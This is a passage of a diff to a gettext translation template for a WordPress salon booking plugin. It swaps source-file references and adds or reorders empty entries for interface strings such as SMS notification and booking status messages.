msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:277, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:277\n-msgid \"Reminders\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:241\n+msgid \"Skipped bookings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:310, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:310, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:310\n-msgid \"Trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonWorker.php:81\n+msgid \"Sln worker\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:414, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:414, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:414\n-msgid \"Email failed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:28\n+msgid \"\"\n+\"Slots are aligned starting from your first opening slot each day. Examples \"\n+\"assuming a 09:00 opening time:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:409, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:409, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:409\n-msgid \"Email will be sent at %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:70\n+msgid \"Small\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:394, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:394, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:394\n-msgid \"Email correctly sent on %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:239\n+msgid \"Smart availability for \\\"Choose assistant for me\\\"\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:471, src\u002FSLN\u002FPostType\u002FBooking.php:459, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:471, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:471, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:459\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109\n+msgid \"SMS\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the datetime\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:485\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:485\n+#, php-format\n+msgid \"Sms correctly sent on %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:500\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:512\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:500\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:512\n msgid \"Sms failed\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:464, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:464, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:464\n-msgid \"Sms will be sent at %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:55\n+msgid \"SMS notifications\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:57\n+msgid \"SMS notifications and reminders. Twilio, Plivo, 1p1sms supported.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97\n+msgid \"SMS Notifications service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:444, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:444, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:444, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:444, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:444, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:444\n-msgid \"Sms correctly sent on %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:20\n+msgid \"SMS sent successfully.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:492, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:492, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:492\n-msgid \"Switch to PRO to unlock the \\\"Quick approval\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14\n+msgid \"SMS service provider\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:560, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:560, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:560\n-msgid \"Enter booking name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10\n+msgid \"SMS services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:573, src\u002FSLN\u002FPostType\u002FBooking.php:577, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:573, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:577, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:573, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:577, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:558, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:558, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:577\n-msgid \"Booking updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n+msgid \"SMS Test console\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:576, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:576, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:576, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:576, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58\n-msgid \"Booking cancelled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:150\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:150\n+msgid \"SMS Timing\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the revision title\n-#: src\u002FSLN\u002FPostType\u002FBooking.php:580, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:580, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:565, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:565, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:580\n-msgid \"Booking restored to revision from %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:23\n+msgid \"SMS Verification\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:584, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:584, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:584, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:569, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:569, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:584\n-msgid \"Booking published.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:297\n+msgid \"\"\n+\"SMS Verification service \u003Cspan>Ask users to verify their identity with an \"\n+\"SMS verification code\u003C\u002Fspan>\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:586, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:586, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:586, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:571, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:571, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:586\n-msgid \"Booking saved.\"\n+#. %s will be replaced by the datetime\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:505\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:505\n+#, php-format\n+msgid \"Sms will be sent at %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:588, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:588, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:588, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:588\n-msgid \"Booking submitted.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110\n+msgid \"SMS will be sent to your customer and a staff member\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the date\n-#: src\u002FSLN\u002FPostType\u002FBooking.php:592, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:592, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:577, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:577, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:592\n-msgid \"Booking scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:148\n+msgid \"SOAP Notes\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:599, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:599, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:599, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:584, 